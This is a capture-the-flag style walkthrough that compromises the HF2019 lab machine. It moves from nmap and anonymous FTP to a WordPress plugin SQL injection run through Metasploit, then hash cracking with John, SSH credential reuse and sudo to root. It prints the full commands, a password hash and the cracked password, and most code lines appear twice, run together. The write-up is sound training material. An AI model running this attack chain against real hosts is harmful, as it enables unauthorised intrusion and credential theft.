June 6, 2026
HF2019 Walkthrough | From Enumeration to Root (WordPress SQLi + Credential Reuse)
Introduction
Ajaydevsv
3 min read
Introduction
In this walkthrough, I performed a full penetration test against the HF2019 vulnerable machine. The attack chain involved service enumeration, anonymous FTP access, WordPress information disclosure, SQL Injection in the WP Google Maps plugin, password hash cracking, credential reuse, and privilege escalation to root.
This machine was solved in a controlled lab environment for educational purposes.
Phase 1: Host Discovery
First, I identified my attacker's IP address:
ip aip a
After confirming my network, I discovered active hosts:
sudo netdiscoversudo netdiscover
Target identified:
192.168.0.10192.168.0.10Phase 2: Port Enumeration
I started with a basic scan:
sudo nmap -Pn 192.168.0.10sudo nmap -Pn 192.168.0.10Then performed a more detailed scan:
sudo nmap -sC -sV -O -Pn 192.168.0.10sudo nmap -sC -sV -O -Pn 192.168.0.10
Open ports discovered:
- 21/tcp → FTP
- 22/tcp → SSH
- 80/tcp → HTTP
- 10000/tcp → Webmin
Phase 3: Anonymous FTP Access
Testing FTP revealed anonymous login was enabled:
ftp 192.168.0.10ftp 192.168.0.10Username:
anonymousanonymous
Browsing the FTP share revealed the WordPress installation files.
Phase 4: Information Disclosure via wp-config.php
Since FTP allowed file downloads, I retrieved:
get wp-config.phpget wp-config.php
Inspecting the file:
cat wp-config.phpcat wp-config.phprevealed:
- Database name
- Database username
- Database password
- Table prefix (
wp_)
Phase 5: WordPress Enumeration
Using WPScan:
wpscan --url http://192.168.0.10 --enumerate u,p,twpscan --url http://192.168.0.10 --enumerate u,p,t
Results:
User Found
webmasterwebmasterPlugin Found
wp-google-mapswp-google-mapsWordPress Version
5.2.35.2.3Phase 6: Vulnerability Research
Researching the plugin revealed a known SQL Injection vulnerability affecting:
WP Google Maps 7.11.00 - 7.11.17WP Google Maps 7.11.00 - 7.11.17Rapid7 already provided a Metasploit module for exploitation.
Phase 7: SQL Injection via Metasploit
Started Metasploit:
msfconsolemsfconsoleSearch:
search wp_google_mapssearch wp_google_mapsSelected module:
use auxiliary/admin/http/wp_google_maps_sqliuse auxiliary/admin/http/wp_google_maps_sqliConfigured:
set RHOSTS 192.168.0.10set RHOSTS 192.168.0.10Executed:
runrunScreenshot:
The module extracted credentials from the wp_users table:
webmaster
$P$BsqOdiLTcye6AS1ofreys4GzRlRvSr1webmaster
$P$BsqOdiLTcye6AS1ofreys4GzRlRvSr1Phase 8: Password Hash Cracking
Saved the hash:
nano hash.txtnano hash.txtCracked the hash:
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txtjohn hash.txt --wordlist=/usr/share/wordlists/rockyou.txtConfirmed the password:
john --show hash.txtjohn --show hash.txtRecovered credentials:
Username: webmaster
Password: kittykat1Username: webmaster
Password: kittykat1
Phase 9: Credential Reuse
The recovered credentials worked for:
WordPress Admin Panel
webmaster : kittykat1webmaster : kittykat1
SSH Access
ssh webmaster@192.168.0.10ssh webmaster@192.168.0.10
Phase 10: Privilege Escalation
After gaining shell access, I gathered system information:
id
whoami
hostname
uname -a
sudo -lid
whoami
hostname
uname -a
sudo -l
Output:
(ALL) ALL(ALL) ALLThis indicated that the user webmaster could execute any command as root.
Escalation:
sudo susudo suVerification:
whoamiwhoamiOutput:
rootroot
Attack Chain Summary
Enumeration
↓
Anonymous FTP
↓
wp-config.php Disclosure
↓
WPScan
↓
Plugin Enumeration
↓
SQL Injection
↓
Hash Extraction
↓
John the Ripper
↓
Credential Reuse
↓
SSH Access
↓
sudo -l
↓
RootEnumeration
↓
Anonymous FTP
↓
wp-config.php Disclosure
↓
WPScan
↓
Plugin Enumeration
↓
SQL Injection
↓
Hash Extraction
↓
John the Ripper
↓
Credential Reuse
↓
SSH Access
↓
sudo -l
↓
RootTools Used
- Netdiscover
- Nmap
- FTP
- WPScan
- Metasploit Framework
- John the Ripper
Conclusion
HF2019 demonstrated how multiple small weaknesses can combine into a complete system compromise:
- Anonymous FTP access
- Sensitive file exposure
- Vulnerable WordPress plugin
- Weak password
- Credential reuse
- Misconfigured sudo permissions
This machine reinforced the importance of proper enumeration and understanding the attack chain instead of blindly running tools.
Connect With Me
www.linkedin.com/in/ajaydev-swww.linkedin.com/in/ajaydev-sGitHub
https://github.com/Ajaydevs007/vapt-journeyhttps://github.com/Ajaydevs007/vapt-journey